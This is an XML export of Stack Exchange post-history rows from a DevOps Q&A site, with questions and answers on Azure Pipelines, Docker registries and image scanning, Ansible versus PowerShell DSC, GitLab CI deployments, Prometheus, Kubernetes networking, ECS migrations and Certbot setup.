  <row Id="32439" PostHistoryTypeId="2" PostId="10550" RevisionGUID="9c87a394-193b-46b8-9434-76a4e5ad37df" CreationDate="2020-01-22T10:30:34.850" UserId="19250" Text="I have been looking for this as well. &#xD;&#xA;&#xD;&#xA;Templating is solved very good, and in case you have a file &quot;azure-pipelines.yml&quot; in the root of your repo, the pipeline will automatically be setup (with the name of the repo). &#xD;&#xA;&#xD;&#xA;But if you have a repo with submodules and dedicated azure-pipeline.yml in each submodule, these will not be setup automatically. Maybe also because we are not enabled to define a pipeline name in our yaml definitions?&#xD;&#xA;&#xD;&#xA;With a short testing round, I found that using the azure pipeline cli together with python is also no quick fix for really automatically setting up my pipelines for submodules.&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="32440" PostHistoryTypeId="2" PostId="10551" RevisionGUID="6b637c80-9170-42d2-ac4a-1d0412ecb220" CreationDate="2020-01-22T10:48:26.957" UserId="19250" Text="Your &quot;problem&quot; is&#xD;&#xA;that you got an uncomplete answer not mentioning image scanning, hardening and trusted registries. Here are some first directions:&#xD;&#xA;&#xD;&#xA; 1. The [Official Docker Images](https://docs.docker.com/docker-hub/official_images/) on [DockerHub](https://hub.docker.com/search?q=&amp;type=image&amp;image_filter=official)&#xD;&#xA; 2. You can setup [trusted docker registries](https://docs.docker.com/ee/dtr/) and setup docker clients to evaluate these based on [content trust](https://docs.docker.com/engine/security/trust/content_trust/).&#xD;&#xA; 3. If you are planning to mirror images or publish some yourself based on others, you are able to setup [docker image scanning](https://docs.docker.com/ee/dtr/user/manage-images/scan-images-for-vulnerabilities/)&#xD;&#xA;&#xD;&#xA;I only included links to the official docker doc links, but especially with &quot;image vulnerablility scanning&quot; there are a lot of free tools and services available as well.&#xD;&#xA;&#xD;&#xA;Various (payed) solutions for the trusted registry are available in the cloud, eg:  [Azure Container Registry](https://azure.microsoft.com/de-de/services/container-registry/), [Google Container registry](https://cloud.google.com/container-registry/) or the [JFrog Container Registry](https://jfrog.com/container-registry/). With the later also available for on premises installation. The vulerability scanning is as far is I know not included automatically.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32442" PostHistoryTypeId="5" PostId="10551" RevisionGUID="f9fc60f0-3409-475b-9460-1f6c075a48d8" CreationDate="2020-01-22T10:59:33.123" UserId="19250" Comment="added 13 characters in body" Text="Your &quot;problem&quot; is&#xD;&#xA;that you got an uncomplete answer not mentioning image scanning, hardening and trusted registries. Here are some first directions:&#xD;&#xA;&#xD;&#xA; 1. The well curated [Official Docker Images](https://docs.docker.com/docker-hub/official_images/) on [DockerHub](https://hub.docker.com/search?q=&amp;type=image&amp;image_filter=official)&#xD;&#xA; 2. You can setup [trusted docker registries](https://docs.docker.com/ee/dtr/) and setup docker clients to evaluate these based on [content trust](https://docs.docker.com/engine/security/trust/content_trust/).&#xD;&#xA; 3. If you are planning to mirror images or publish some yourself based on others, you are able to setup [docker image scanning](https://docs.docker.com/ee/dtr/user/manage-images/scan-images-for-vulnerabilities/)&#xD;&#xA;&#xD;&#xA;I only included links to the official docker doc links, but especially with &quot;image vulnerablility scanning&quot; there are a lot of free tools and services available as well.&#xD;&#xA;&#xD;&#xA;Various (payed) solutions for the trusted registry are available in the cloud, eg:  [Azure Container Registry](https://azure.microsoft.com/de-de/services/container-registry/), [Google Container registry](https://cloud.google.com/container-registry/) or the [JFrog Container Registry](https://jfrog.com/container-registry/). With the later also available for on premises installation. The vulnerability scanning is as far is I know not included automatically.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32443" PostHistoryTypeId="5" PostId="10551" RevisionGUID="18460f55-6864-4776-b6fe-c4aa22ada09f" CreationDate="2020-01-22T11:11:42.597" UserDisplayName="user5176" Comment="Minor phrasing edit ; creating a new passage." Text="In my opinion, your real problem about this is getting incomplete data that didn't include *image scanning*, *hardening* and *trusted registries*.&#xD;&#xA;&#xD;&#xA;Here are some first directions:&#xD;&#xA;&#xD;&#xA; 1. The well curated [Official Docker Images](https://docs.docker.com/docker-hub/official_images/) on [DockerHub](https://hub.docker.com/search?q=&amp;type=image&amp;image_filter=official)&#xD;&#xA; 2. You can setup [trusted docker registries](https://docs.docker.com/ee/dtr/) and setup docker clients to evaluate these based on [content trust](https://docs.docker.com/engine/security/trust/content_trust/).&#xD;&#xA; 3. If you are planning to mirror images or publish some yourself based on others, you are able to setup [docker image scanning](https://docs.docker.com/ee/dtr/user/manage-images/scan-images-for-vulnerabilities/)&#xD;&#xA;&#xD;&#xA;I only included links to the official docker doc links, but especially with &quot;image vulnerablility scanning&quot; there are a lot of free tools and services available as well.&#xD;&#xA;&#xD;&#xA;Various (payed) solutions for the trusted registry are available in the cloud, eg:  [Azure Container Registry](https://azure.microsoft.com/de-de/services/container-registry/), [Google Container registry](https://cloud.google.com/container-registry/) or the [JFrog Container Registry](https://jfrog.com/container-registry/). With the later also available for on premises installation. The vulnerability scanning is as far is I know not included automatically.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32444" PostHistoryTypeId="24" PostId="10551" RevisionGUID="18460f55-6864-4776-b6fe-c4aa22ada09f" CreationDate="2020-01-22T11:11:42.597" Comment="Proposed by 5176 approved by 19250 edit id of 1137" ContentLicense="CC BY-SA 4.0" />
  <row Id="32445" PostHistoryTypeId="34" PostId="10515" RevisionGUID="2dc3c3b1-077c-4833-9f5d-fa8bef851579" CreationDate="2020-01-22T11:12:03.883" UserDisplayName="user5176" Comment="53" />
  <row Id="32446" PostHistoryTypeId="2" PostId="10552" RevisionGUID="2ee8dfc4-d62a-4d68-b85c-3d3084bc6ba8" CreationDate="2020-01-22T15:01:29.367" UserId="19259" Text="I wanted to find out what are you using for Desired State Configuration on your end. I am thinking to start introducing Azure Powershell DSC or Ansible for DSC of our on-prem environment and cloud environment. Would you have any recommendations? I am turning more towards Ansible but it would be nice to get to know other people opinion." ContentLicense="CC BY-SA 4.0" />
  <row Id="32447" PostHistoryTypeId="1" PostId="10552" RevisionGUID="2ee8dfc4-d62a-4d68-b85c-3d3084bc6ba8" CreationDate="2020-01-22T15:01:29.367" UserId="19259" Text="Azure Powershell DSC or Ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="32448" PostHistoryTypeId="3" PostId="10552" RevisionGUID="2ee8dfc4-d62a-4d68-b85c-3d3084bc6ba8" CreationDate="2020-01-22T15:01:29.367" UserId="19259" Text="&lt;ansible&gt;&lt;azure&gt;&lt;powershell&gt;&lt;vmware&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32449" PostHistoryTypeId="5" PostId="10550" RevisionGUID="f438633a-cbe5-4f52-bfe1-f7bd4d2732f4" CreationDate="2020-01-22T16:09:36.450" UserId="19250" Comment="added 40 characters in body" Text="I have been looking for this as well. &#xD;&#xA;&#xD;&#xA;Templating is solved very good, and in case you have a file &quot;azure-pipelines.yml&quot; in the root of your repo, the pipeline will automatically be setup (with the name of the repo). &#xD;&#xA;&#xD;&#xA;But if you have a repo with submodules (as in directories, not git submodules) and dedicated azure-pipeline.yml in each submodule, these will not be setup automatically. Maybe also because we are not enabled to define a pipeline name in our yaml definitions?&#xD;&#xA;&#xD;&#xA;With a short testing round, I found that using the azure pipeline cli together with python is also no quick fix for really automatically setting up my pipelines for submodules.&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="32450" PostHistoryTypeId="2" PostId="10553" RevisionGUID="7ac4d568-232e-4ceb-a4c4-1984d21a3ddf" CreationDate="2020-01-22T16:47:57.173" UserId="16059" Text="Let's say I have a SaaS style project (similar to Databricks).  We may make release 2.0.0 of this project, have automated testing and deployment to dev, automated promotion to nonprod, etc.&#xD;&#xA;&#xD;&#xA;In production, I may have 200 **instances** of it running though.&#xD;&#xA;&#xD;&#xA;What is the best way using GitLab CI to manage 200 instances/production environments? Obviously you wouldn't want 200 branches with deployments controlled by merges/etc... I assume.&#xD;&#xA;&#xD;&#xA;How can you get a good overview over all of these environments and ensure they're deployed completely/view their versions and roll-out progress, ensure smoke tests completed for a successful pipeline/etc?&#xD;&#xA;&#xD;&#xA;Its been implied to me that Spinnaker may be a good tool to plug this gap.  Can someone explain how that is if so?  Are there any better options?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32451" PostHistoryTypeId="1" PostId="10553" RevisionGUID="7ac4d568-232e-4ceb-a4c4-1984d21a3ddf" CreationDate="2020-01-22T16:47:57.173" UserId="16059" Text="GUI over GitLab CI Environment Deployments With Multiple Instances?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32452" PostHistoryTypeId="3" PostId="10553" RevisionGUID="7ac4d568-232e-4ceb-a4c4-1984d21a3ddf" CreationDate="2020-01-22T16:47:57.173" UserId="16059" Text="&lt;deployment&gt;&lt;gitlab&gt;&lt;release&gt;&lt;environments&gt;&lt;spinnaker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32453" PostHistoryTypeId="2" PostId="10554" RevisionGUID="fb064501-c831-4753-a874-ccac455de515" CreationDate="2020-01-22T17:02:49.080" UserId="16059" Text="The best way to deploy prometheus to kubernetes is with the helm chart:&#xD;&#xA;&#xD;&#xA;https://github.com/helm/charts/tree/master/stable/prometheus&#xD;&#xA;&#xD;&#xA;If you haven't used helm yet, its a very simple install to your laptop/etc and the cluster (and the newest version doesn't even require a cluster side install).  It takes like 30 seconds.  It's a package manager for kubernetes and it allows you to install, upgrade, list, and delete &quot;charts&quot; which are basically simple wrappers around kubernetes YAML files (with some nice templating).  It would even be good to wrap your spring boot apps in a helm chart =).&#xD;&#xA;&#xD;&#xA;Once you've got prometheus running well, there is a good tutorial here on setting up actuator's prometheus endpoint in spring-boot and getting it picked up by prometheus by editing its values.yaml.&#xD;&#xA;&#xD;&#xA;https://www.callicoder.com/spring-boot-actuator-metrics-monitoring-dashboard-prometheus-grafana/&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# my global config&#xD;&#xA;global:&#xD;&#xA;  scrape_interval:     15s # Set the scrape interval to every 15 seconds. Default is every 1 minute.&#xD;&#xA;  evaluation_interval: 15s # Evaluate rules every 15 seconds. The default is every 1 minute.&#xD;&#xA;  # scrape_timeout is set to the global default (10s).&#xD;&#xA;&#xD;&#xA;# Load rules once and periodically evaluate them according to the global 'evaluation_interval'.&#xD;&#xA;rule_files:&#xD;&#xA;  # - &quot;first_rules.yml&quot;&#xD;&#xA;  # - &quot;second_rules.yml&quot;&#xD;&#xA;&#xD;&#xA;# A scrape configuration containing exactly one endpoint to scrape:&#xD;&#xA;# Here it's Prometheus itself.&#xD;&#xA;scrape_configs:&#xD;&#xA;  # The job name is added as a label `job=&lt;job_name&gt;` to any timeseries scraped from this config.&#xD;&#xA;  - job_name: 'prometheus'&#xD;&#xA;    # metrics_path defaults to '/metrics'&#xD;&#xA;    # scheme defaults to 'http'.&#xD;&#xA;    static_configs:&#xD;&#xA;    - targets: ['127.0.0.1:9090']&#xD;&#xA;&#xD;&#xA;  - job_name: 'spring-actuator'&#xD;&#xA;    metrics_path: '/actuator/prometheus'&#xD;&#xA;    scrape_interval: 5s&#xD;&#xA;    static_configs:&#xD;&#xA;    - targets: ['HOST_IP:8080']&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;There's also some info at the end of the tutorial about surfacing all this in Grafana for slick visualization." ContentLicense="CC BY-SA 4.0" />
  <row Id="32454" PostHistoryTypeId="2" PostId="10555" RevisionGUID="f727e6c0-1437-48cd-bd96-166fc084ad8b" CreationDate="2020-01-22T17:07:36.247" UserId="397" Text="**PowerShell Desired State Configuration:**&#xD;&#xA;&#xD;&#xA;*Pro's*&#xD;&#xA;&#xD;&#xA; - Great support for Microsoft Technologies (IIS, Exchange, SharePoint, etc.)&#xD;&#xA;&#xD;&#xA;*Con's*&#xD;&#xA;&#xD;&#xA; - OS and PowerShell Version requirements can become prohibitive.&#xD;&#xA; - WinRM and the LCM can be flakey requiring fiddling around restarting services to get it working.&#xD;&#xA; - Opensource Ecosystem isn't as strong.&#xD;&#xA;&#xD;&#xA;**Ansible:**&#xD;&#xA;&#xD;&#xA;*Pro's*&#xD;&#xA;&#xD;&#xA; - Huge Open-source ecosystem around Ansible, with many ways of doing one task.&#xD;&#xA; - Support for a wide range of technologies, enabling you to use Ansible YAML for vSphere, Azure, AWS, etc.&#xD;&#xA; - Easy to hire people with Ansible experience.&#xD;&#xA;&#xD;&#xA;*Con's*&#xD;&#xA;&#xD;&#xA; - Poor support for the nitty-gritty of Microsoft Products, however, you can use the [win_dsc][1] module to call DSC from Ansible.&#xD;&#xA; - Ansible is becoming less important with the advent of Cloud, Kubernetes and Terraform.&#xD;&#xA;&#xD;&#xA;Personally, I use DSC for my workstation and that's it now.  Previously I used it to bootstrap MongoDB and Redis clusters but eventually switched to Ansible because it meant throwing away the hard to maintain DSC and using open-source Ansible modules from Galaxy.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/user_guide/windows_dsc.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="32461" PostHistoryTypeId="2" PostId="10558" RevisionGUID="a2a99dab-e21a-4f12-9f73-d0b4975b9425" CreationDate="2020-01-22T18:21:17.090" UserId="16059" Text="GitLab is a solid good option for most of this (with the appropriate plan level - I don't think the CE one has everything).  It's a single-pane-of-glass for your code, security, CI/CD, metrics, etc.  You can create and deploy to kubernetes clusters from it.&#xD;&#xA;&#xD;&#xA; - You can have multiple environments and it'll store the secrets for you to customize them.&#xD;&#xA; - It will monitor your kubernetes apps and show deployment marks so you can see if they get better/worse performance wise before and after deployment.&#xD;&#xA; - You can do multi project pipelines and actions in parallel to chain things together and get things done fast.&#xD;&#xA; - It supports review apps and canary deployments.&#xD;&#xA; - It has rollback buttons and tracks every release you do.  It also has a good API, so I assume you could hook up prometheus + alert manager and make the API trigger a rollback in response to an alert.&#xD;&#xA;&#xD;&#xA;Spinnaker has https://www.armory.io/ if you're willing to pay a bit (not sure how much).  But that should make it easy to use / effective.&#xD;&#xA;&#xD;&#xA;I'm not amazingly fond of Jenkins, but it can do everything.  Its hard to maintain over time / with bigger projects and teams though.  But it can be customized to do anything.  You may want to look into https://jenkins.io/projects/blueocean/ (the blue ocean plugin) for CD if you're leaning this way - it looks fairly impressive and I've heard good things." ContentLicense="CC BY-SA 4.0" />
  <row Id="32463" PostHistoryTypeId="2" PostId="10559" RevisionGUID="2f0d090c-712b-4f87-9b83-be680864378d" CreationDate="2020-01-22T21:15:26.607" UserId="19266" Text="I am trying to transfer an old legacy system to k8s.&#xD;&#xA;&#xD;&#xA;I have a custom server that client apps connect to in order to communicate with one another. Both the server and clients were originally created to run on the same system and communicate using localhost. &#xD;&#xA;&#xD;&#xA;I Dockerized both server and client apps. I tested that they work well in the same pod (everything runs well using localhost). Now I would like to separate the server and apps into their own pods. I would like the apps to automatically connect to the server. &#xD;&#xA;&#xD;&#xA;Question: How do I connect the client apps to the server without changing the source code of the client apps or server? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32464" PostHistoryTypeId="1" PostId="10559" RevisionGUID="2f0d090c-712b-4f87-9b83-be680864378d" CreationDate="2020-01-22T21:15:26.607" UserId="19266" Text="localhost Pod to Pod communication k8s" ContentLicense="CC BY-SA 4.0" />
  <row Id="32465" PostHistoryTypeId="3" PostId="10559" RevisionGUID="2f0d090c-712b-4f87-9b83-be680864378d" CreationDate="2020-01-22T21:15:26.607" UserId="19266" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32474" PostHistoryTypeId="50" PostId="10165" RevisionGUID="9b4c8d90-65e9-4dc5-a204-58fbcb94979b" CreationDate="2020-01-23T09:02:05.387" UserId="-1" />
  <row Id="32475" PostHistoryTypeId="2" PostId="10563" RevisionGUID="43bf5195-b6bf-4129-aaf7-1a75f15663dc" CreationDate="2020-01-23T09:04:29.817" UserId="19274" Text="In the YAML file defining our ADO build pipeline we have the following section&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-yaml --&gt;&#xD;&#xA;&#xD;&#xA;    - bash: |&#xD;&#xA;        pip install pylint&#xD;&#xA;        find preprocessing/ subtyping/ visualisations/ -name '*.py' | grep -v hmm | grep -v /test_ | sort | xargs pylint&#xD;&#xA;      displayName: 'Run linter'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;At some point in the last week this stopped working. It still works on an `ubuntu-latest` hosted agent, but on Windows (either `windows-latest` or `vs2017-win2016`) it now fails with the message&#xD;&#xA;&#xD;&#xA;&gt; FIND: Parameter format not correct&#xD;&#xA;&#xD;&#xA;We have not changed anything, but our build process now fails.&#xD;&#xA;&#xD;&#xA; - What has changed to cause this failure? &#xD;&#xA; - Why does it only fail on Windows?&#xD;&#xA; - How might I diagnose the problem?&#xD;&#xA; - Is there anything wrong with our call to bash's 'find' command?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32476" PostHistoryTypeId="1" PostId="10563" RevisionGUID="43bf5195-b6bf-4129-aaf7-1a75f15663dc" CreationDate="2020-01-23T09:04:29.817" UserId="19274" Text="'find' command suddenly not working in windows hosted agents" ContentLicense="CC BY-SA 4.0" />
  <row Id="32477" PostHistoryTypeId="3" PostId="10563" RevisionGUID="43bf5195-b6bf-4129-aaf7-1a75f15663dc" CreationDate="2020-01-23T09:04:29.817" UserId="19274" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32478" PostHistoryTypeId="2" PostId="10564" RevisionGUID="147fcd37-c62a-4ab1-a910-8860432be540" CreationDate="2020-01-23T09:44:40.350" UserId="19250" Text="Depending on where your source code is located and how you are setting up the to be deployed containers, this can also be solved very nice in Azure DevOps:&#xD;&#xA;https://cloud.google.com/solutions/creating-cicd-pipeline-vsts-kubernetes-engine&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32482" PostHistoryTypeId="2" PostId="10566" RevisionGUID="a6213a18-104d-4057-8fc5-70fb57fef73c" CreationDate="2020-01-23T12:48:07.280" UserId="16059" Text="Are you basically saying that it’s hard coded to “localhost” and you need to somehow change the meaning of “localhost” because you cannot change the source code?&#xD;&#xA;&#xD;&#xA;If so, it sounds fairly hard to achieve... but maybe you can override the meaning of localhost in the hosts file of the pod (the right way).&#xD;&#xA;&#xD;&#xA;https://kubernetes.io/docs/concepts/services-networking/add-entries-to-pod-etc-hosts-with-host-aliases/&#xD;&#xA;&#xD;&#xA;I feel like this will *probably* have unintended side effects and may affect kubernetes, but I could be wrong.  It’s definitely worth a try.&#xD;&#xA;&#xD;&#xA;Note: the overrides can point to services created over the pod deployments if it works :).  They can have reliable internal domain names that don’t move around." ContentLicense="CC BY-SA 4.0" />
  <row Id="32486" PostHistoryTypeId="50" PostId="10192" RevisionGUID="37f2fabe-36a0-4d7f-be87-a32d3b227a71" CreationDate="2020-01-23T13:02:25.310" UserId="-1" />
  <row Id="32487" PostHistoryTypeId="2" PostId="10568" RevisionGUID="63f15454-938f-4412-8ee2-7ea56d62edf5" CreationDate="2020-01-23T13:39:16.853" UserId="19224" Text="Thanks for your response @Zeitounator. I'm running Ansible 2.8&#xD;&#xA;Since posting this I have received an answer that works for me. I realized that these facts are presented as a list of dicts as noted in the [doco][1], but I was still having trouble for some reason (confused myself badly.) The solution hinges on using with_items instead of with_dict and using an appropriate conditional like so:&#xD;&#xA;&#xD;&#xA;      - name: Test vmware_vm_facts&#xD;&#xA;        vmware_vm_facts:&#xD;&#xA;          hostname: &quot;{{ vcenter_hostname }}&quot;&#xD;&#xA;          username: &quot;{{ vcenter_username }}&quot;&#xD;&#xA;          password: &quot;{{ vcenter_password }}&quot;&#xD;&#xA;          validate_certs: no&#xD;&#xA;        delegate_to: localhost&#xD;&#xA;        register: rc&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;      - debug:&#xD;&#xA;          msg: &quot;IP of {{ item.guest_name }} ({{ item.uuid }}) is {{ item.ip_address }} and power is {{ item.power_state }}&quot;&#xD;&#xA;        with_items: &quot;{{ rc.virtual_machines }}&quot;&#xD;&#xA;        when: item.guest_name is search(inventory_hostname)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/2.8/modules/vmware_vm_facts_module.html&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32488" PostHistoryTypeId="50" PostId="4639" RevisionGUID="6bd15db1-2d94-4284-ba65-d359def41606" CreationDate="2020-01-23T14:01:10.273" UserId="-1" />
  <row Id="32489" PostHistoryTypeId="2" PostId="10569" RevisionGUID="c3f60ae4-fdcd-4037-8e30-3a05c5a8e563" CreationDate="2020-01-23T14:06:27.297" UserId="9222" Text="Can somehow with docker or docker-compose run container B before container A stop?&#xD;&#xA;&#xD;&#xA;docker-compose support trigger event or something like that?&#xD;&#xA;&#xD;&#xA;Cheers&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32490" PostHistoryTypeId="1" PostId="10569" RevisionGUID="c3f60ae4-fdcd-4037-8e30-3a05c5a8e563" CreationDate="2020-01-23T14:06:27.297" UserId="9222" Text="docker-compose run container before other container stop" ContentLicense="CC BY-SA 4.0" />
  <row Id="32491" PostHistoryTypeId="3" PostId="10569" RevisionGUID="c3f60ae4-fdcd-4037-8e30-3a05c5a8e563" CreationDate="2020-01-23T14:06:27.297" UserId="9222" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32492" PostHistoryTypeId="2" PostId="10570" RevisionGUID="e4cb9eef-856b-452c-aaf1-2f9e86988a5f" CreationDate="2020-01-23T14:12:30.693" UserId="8489" Text="OpenSource community developed free [lando.dev][1] looks great for a local development platform on one's own machine. I'm certainly looking to evaluate it for my own setup.&#xD;&#xA;&#xD;&#xA;But, given there are benefits in having a development environment that matches production, if one is using [lando.dev][1] in development, then could one use it in production.&#xD;&#xA;&#xD;&#xA;Sure, one might want to go on to use Kubernetes in production, but perhaps this is more than what one needs in the early stages of a project and therefore lando.dev is more suitable and more accessible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://lando.dev" ContentLicense="CC BY-SA 4.0" />
  <row Id="32493" PostHistoryTypeId="1" PostId="10570" RevisionGUID="e4cb9eef-856b-452c-aaf1-2f9e86988a5f" CreationDate="2020-01-23T14:12:30.693" UserId="8489" Text="Can one use lando.dev for a production environment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32494" PostHistoryTypeId="3" PostId="10570" RevisionGUID="e4cb9eef-856b-452c-aaf1-2f9e86988a5f" CreationDate="2020-01-23T14:12:30.693" UserId="8489" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32495" PostHistoryTypeId="2" PostId="10571" RevisionGUID="fc44deae-b4c6-4689-9fb6-c3e120474e9d" CreationDate="2020-01-23T14:53:52.393" UserId="15792" Text="If you mean make sure that container A does not execute and then exit then no.  Docker containers will stop if the container crashes or if the main process exits.&#xD;&#xA;&#xD;&#xA;However, if you are attempting to run container B and it is dependent on container A, I think the [depends_on][1] flag may be what you are looking for.  This will allow you to ensure that service B will run after service A is started.  However, you may need to add something to service A that ensures that it is ready before attempting to connect to it (e.g. a database).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/compose-file/#depends_on" ContentLicense="CC BY-SA 4.0" />
  <row Id="32496" PostHistoryTypeId="2" PostId="10572" RevisionGUID="6e44f6a6-0df5-4d19-a2cb-fc0593f93e16" CreationDate="2020-01-23T14:59:08.963" UserId="8489" Text="From &quot;the horses mouth&quot;:&#xD;&#xA;&#xD;&#xA;https://twitter.com/DustinLeblanc/status/1220351066178510848&#xD;&#xA;&#xD;&#xA;&gt; We don't recommend Lando in production. The container images we use&#xD;&#xA;&gt; aren't optimized for that and we don't test an open-to-the-internet&#xD;&#xA;&gt; scenario. It's exclusively meant for local dev" ContentLicense="CC BY-SA 4.0" />
  <row Id="32507" PostHistoryTypeId="2" PostId="10576" RevisionGUID="c441e1b9-4076-4e4e-8fa5-6ac9cc1420fd" CreationDate="2020-01-23T17:55:07.937" UserId="15792" Text="You can do this by using Kubernetes and Docker's network options.  Specifically check out the Kubernetes [service documentation][1] for service discovery.&#xD;&#xA;&#xD;&#xA;The idea both inside and [outside][2] of Kubernetes is that you can add the Docker containers to a defined network, and then discover the services in the network.  Depending on how it is configured you may need to run the containers to point to the service name instead of localhost, but again this will vary depending on how you setup your Kubernetes cluster.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/services-networking/service/&#xD;&#xA;  [2]: https://docs.docker.com/engine/reference/commandline/network_connect/" ContentLicense="CC BY-SA 4.0" />
  <row Id="32508" PostHistoryTypeId="50" PostId="6232" RevisionGUID="17dce294-09d4-4da3-a20c-c163f622e041" CreationDate="2020-01-23T18:02:05.293" UserId="-1" />
  <row Id="32509" PostHistoryTypeId="2" PostId="10577" RevisionGUID="108e26b8-e6e9-48fe-9251-608754e8c8a9" CreationDate="2020-01-23T18:56:09.683" UserId="19286" Text="I run my app with Docker and ECS. How can I handle database migrations? With fargate there doesn’t seem to be a way to SSH into the container to run any commands so I can’t run my RDS MySQL migrations by going into the container. I have some migrations to run at times, not for all deploys. Any advice?&#xD;&#xA;&#xD;&#xA;I used to run my docker container in a EC2 box so I had the option to run a command inside the container once the container is up. I have migrated to ECS and Fargate now and I don't know how to handle it now." ContentLicense="CC BY-SA 4.0" />
  <row Id="32510" PostHistoryTypeId="1" PostId="10577" RevisionGUID="108e26b8-e6e9-48fe-9251-608754e8c8a9" CreationDate="2020-01-23T18:56:09.683" UserId="19286" Text="RDS DB migrations using ECS and Fargate" ContentLicense="CC BY-SA 4.0" />
  <row Id="32511" PostHistoryTypeId="3" PostId="10577" RevisionGUID="108e26b8-e6e9-48fe-9251-608754e8c8a9" CreationDate="2020-01-23T18:56:09.683" UserId="19286" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;&lt;databases&gt;&lt;fargate&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32512" PostHistoryTypeId="2" PostId="10578" RevisionGUID="a20f2cbb-c5be-4b0e-ac2d-a9b3142cd59d" CreationDate="2020-01-23T19:51:56.440" UserId="7120" Text="If you already have the script/tool in place to execute the database migrations then what you might need is to run the tool/script once. AWS ECS allows to schedule the executions of tasks (containers), you can set it up in a way that the container can run just only once.&#xD;&#xA;&#xD;&#xA;These ECS tasks can be scheduled via a cron-like job setup or on a CloudWatch event response:&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/AmazonECS/latest/developerguide/scheduled_tasks.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="32513" PostHistoryTypeId="50" PostId="6337" RevisionGUID="cb138530-1db8-49e1-8163-70f5ecf64d43" CreationDate="2020-01-23T20:03:05.437" UserId="-1" />
  <row Id="32514" PostHistoryTypeId="50" PostId="5422" RevisionGUID="e9fb64fc-9cc5-408c-b309-a0dd55b59c0c" CreationDate="2020-01-23T21:01:20.277" UserId="-1" />
  <row Id="32518" PostHistoryTypeId="50" PostId="6541" RevisionGUID="2595a1a2-6abb-46de-a435-c2c505c2e3e7" CreationDate="2020-01-23T22:02:30.313" UserId="-1" />
  <row Id="32519" PostHistoryTypeId="2" PostId="10580" RevisionGUID="eadbbf8e-a96d-4fb5-bcd6-01c0c92c5b14" CreationDate="2020-01-23T22:57:08.633" UserId="19290" Text="Title says it all I guess. I didn't even know what Ubuntu/Nginx/Docker/etc was a week ago but I've managed to set up Docker/Docker Compose, PHP-FPM, PHPMyAdmin + Gitlab on a reverse proxy through Nginx with somewhat difficulty. [My Github repo documenting my steps][1].&#xD;&#xA;&#xD;&#xA;Basically managed to do everything I wanted to do set-up wise. Last step is setting up SSL certs for my site. It wasn't as straightforward as I was hoping, I haven't been able to find any clear guides on what to do regarding setting up Cerbot and having it on automatic renewal through a docker container. Lot of the shorter tutorials seem to use custom Certbot docker images which I'm not sure why they're different, or they have custom shell scripts that make dummy certs and delete them for some reason. The [Certbot docker hub][2] page is kind of devoid of any official instructions as well...&#xD;&#xA;&#xD;&#xA;Any pointers or instructions would be extremely appreciated, thanks.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/Plykiya/Docker-Nginx-PHP-MySQL-PHPMyAdmin-Gitlab&#xD;&#xA;  [2]: https://hub.docker.com/r/certbot/certbot/" ContentLicense="CC BY-SA 4.0" />
  <row Id="32520" PostHistoryTypeId="1" PostId="10580" RevisionGUID="eadbbf8e-a96d-4fb5-bcd6-01c0c92c5b14" CreationDate="2020-01-23T22:57:08.633" UserId="19290" Text="How do I set up certbot, with Nginx, both in a Docker container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32521" PostHistoryTypeId="3" PostId="10580" RevisionGUID="eadbbf8e-a96d-4fb5-bcd6-01c0c92c5b14" CreationDate="2020-01-23T22:57:08.633" UserId="19290" Text="&lt;docker&gt;&lt;nginx&gt;&lt;certbot&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32522" PostHistoryTypeId="50" PostId="6852" RevisionGUID="57b85f85-0411-4221-8a62-d462806780e0" CreationDate="2020-01-23T23:03:15.440" UserId="-1" />
